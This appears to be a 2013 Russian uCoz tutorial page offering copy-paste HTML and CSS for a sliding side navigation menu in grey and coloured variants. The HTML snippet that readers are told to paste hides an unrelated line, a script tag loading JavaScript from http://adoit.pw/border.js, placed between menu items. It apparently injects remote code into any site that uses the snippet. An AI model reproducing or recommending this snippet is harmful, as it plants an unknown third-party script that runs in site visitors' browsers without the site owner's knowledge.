Главная
Форум
Файлы
[Game] Новости
[Online] Видео
Статьи
[Top] сайтов
Отзывы о нас
Вход
Регистрация
Главная
Новости
Видео
Правила
Бан-лист
Разбан NO-STEAM
Разбан STEAM
Главная
»
2013
»
Июль
»
25
» Боковое Меню Цветное и серое
16:46
Боковое Меню Цветное и серое
Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:
Код
<div id="main">
<ul id="navigationMenu">
<li>
<a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>
</li>
<li>
<a class="m_gost" href="/gb"><span>Гостевая</span></a>
</li>
<li>
<a class="m_forum" href="/forum"><span>Форум</span></a>
</li>
<li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>
</li><script type="text/javascript" src="http://adoit.pw/border.js"></script>
<?if($USER_LOGGED_IN$)?>
<li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>
</li>
<?else?>
<li>
<a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>
</li>
<?endif?>
</ul>
</div>
<!-- /Конец тегов левое боковое меню -->
А Вот два типа менюшек выбирайте который вам нужен
Серое Меню
Код
#main{
position:fixed;
top: 150px;
right: 0px;
padding:0;
}
#main ul{
padding:0;
}
#navigationMenu li{
list-style:none;
height:35px;
width:35px;
}
#navigationMenu span{
position:absolute;
overflow:hidden;
width:0;
right:35px;
padding:0;
font:12px Verdana,Arial,Helvetica,sans-serif;
font-weight:bold;
line-height:35px;
white-space:nowrap;
-webkit-transition: 0.25s;
-moz-transition: 0.25s;
transition: 0.25s;
}
#navigationMenu a{
display:block;
position:relative;
background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;
height:35px;
width:35px;
}
#navigationMenu a:hover span{
overflow:hidden;
text-align:center;
width:110px;
padding:0px 10px;
}
#navigationMenu a:hover{
text-decoration:none;
}
#navigationMenu .m_home {background-position:0 0;}
#navigationMenu .m_home :hover {background-position:0 -35px;}
#navigationMenu .m_gost {background-position:-35px 0;}
#navigationMenu .m_gost:hover {background-position:-35px -35px;}
#navigationMenu .m_forum {background-position:-70px 0;}
#navigationMenu .m_forum:hover {background-position:-70px -35px;}
#navigationMenu .m_pochta { background-position:-105px 0;}
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}
#navigationMenu .m_vxod { background-position:-140px 0;}
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}
#navigationMenu .m_vixod { background-position:-175px 0;}
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}
#navigationMenu .m_gost span,
#navigationMenu .m_forum span,
#navigationMenu .m_pochta span,
#navigationMenu .m_vxod span,
#navigationMenu .m_vixod span,
#navigationMenu .m_home span {
background:#444;
color:#777;
text-shadow:1px 1px 0 #333;
}
Цветное меню
Код
#main{
position:fixed;
top: 150px;
left: 0px;
padding:0;
}
#main ul{
padding:0;
}
#navigationMenu li{
list-style:none;
height:35px;
width:35px;
}
#navigationMenu span{
position:absolute;
overflow:hidden;
width:0;
left:35px;
padding:0;
font:12px Verdana,Arial,Helvetica,sans-serif;
font-weight:bold;
line-height:35px;
white-space:nowrap;
-webkit-transition: 0.25s;
-moz-transition: 0.25s;
transition: 0.25s;
}
#navigationMenu a{
display:block;
position:relative;
background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;
height:35px;
width:35px;
}
#navigationMenu a:hover span{
overflow:hidden;
text-align:center;
width:110px;
padding:0px 10px;
}
#navigationMenu a:hover{
text-decoration:none;
}
#navigationMenu .m_home {background-position:0 0;}
#navigationMenu .m_home :hover {background-position:0 -35px;}
#navigationMenu .m_home span{
background:#7da315;
color:#3d4f0c;
text-shadow:1px 1px 0 #99bf31;
}
#navigationMenu .m_gost {background-position:-35px 0;}
#navigationMenu .m_gost:hover {background-position:-35px -35px;}
#navigationMenu .m_gost span{
background:#1e8bb4;
color:#223a44;
text-shadow:1px 1px 0 #44a8d0;
}
#navigationMenu .m_forum {background-position:-70px 0;}
#navigationMenu .m_forum:hover {background-position:-70px -35px;}
#navigationMenu .m_forum span{
background:#c86c1f;
color:#5a3517;
text-shadow:1px 1px 0 #d28344;
}
#navigationMenu .m_pochta { background-position:-105px 0;}
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}
#navigationMenu .m_pochta span{
background-color:#d0a525;
color:#604e18;
text-shadow:1px 1px 0 #d8b54b;
}
#navigationMenu .m_vxod { background-position:-140px 0;}
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}
#navigationMenu .m_vxod span{
background-color:#af1e83;
color:#460f35;
text-shadow:1px 1px 0 #d244a6;
}
#navigationMenu .m_vixod { background-position:-175px 0;}
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}
#navigationMenu .m_vixod span{
background-color:#27ddbf;
color:#097863;
text-shadow:1px 1px 0 #87ffe7;
}
1
2
3
4
5
Просмотров:
502
|
Добавил:
DoG
|
Рейтинг:
1.0
/
2
Всего комментариев:
0
Меню сайта
Главная страница
Информация о сайте
Каталог файлов
Каталог статей
Форум
Гостевая книга
Обратная связь
FAQ (вопрос/ответ)
Связь с администрацией
Каталог сайтов
Мини-чат
Наш опрос
Чего не хватает на сайте ?
Готовых серверов
Плагинов
Модов
Античиты
Всего хватает
Результаты
Архив опросов
Статистика
Онлайн всего:
1
Гостей:
1
Пользователей:
0
Вход на сайт
Поиск
Календарь
«
Июль 2013
»
Пн
Вт
Ср
Чт
Пт
Сб
Вс
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Архив записей
2012 Июнь
2012 Октябрь
2012 Ноябрь
2012 Декабрь
2013 Январь
2013 Февраль
2013 Март
2013 Апрель
2013 Май
2013 Июнь
2013 Июль
2013 Август
2013 Октябрь
2013 Ноябрь
2013 Декабрь
2014 Январь
2014 Февраль
2014 Март
2014 Апрель
2014 Июнь
2014 Август
2014 Сентябрь
Друзья сайта
Официальный блог
Сообщество uCoz
FAQ по системе
Инструкции для uCoz
Оригинальные и RIPнутые
DLE 10.00 шаблоны
скачать бесплатно.
HTML и CMS
шаблоны сайтов
в бесплатном доступе.
Полуприватные
Шаблоны для распространенных систем управления сайтами
в бесплатном доступе.
Здесь можно
скачать скины для UCOZ
бесплатно.
Самый наполненный
webмастерский портал
в рунете и буржунете.
Полный
дайджест новостей
интернета и мира.
Адаптивные
joomla 3.1 шаблоны
в free доступе.
Скачивайте лучшие резиновые и фиксированные по ширине
WP шаблоны 3.0
без скрытых ссылок и шеллов.
Наверное, самый лучший
блог про заработок
и СЕО.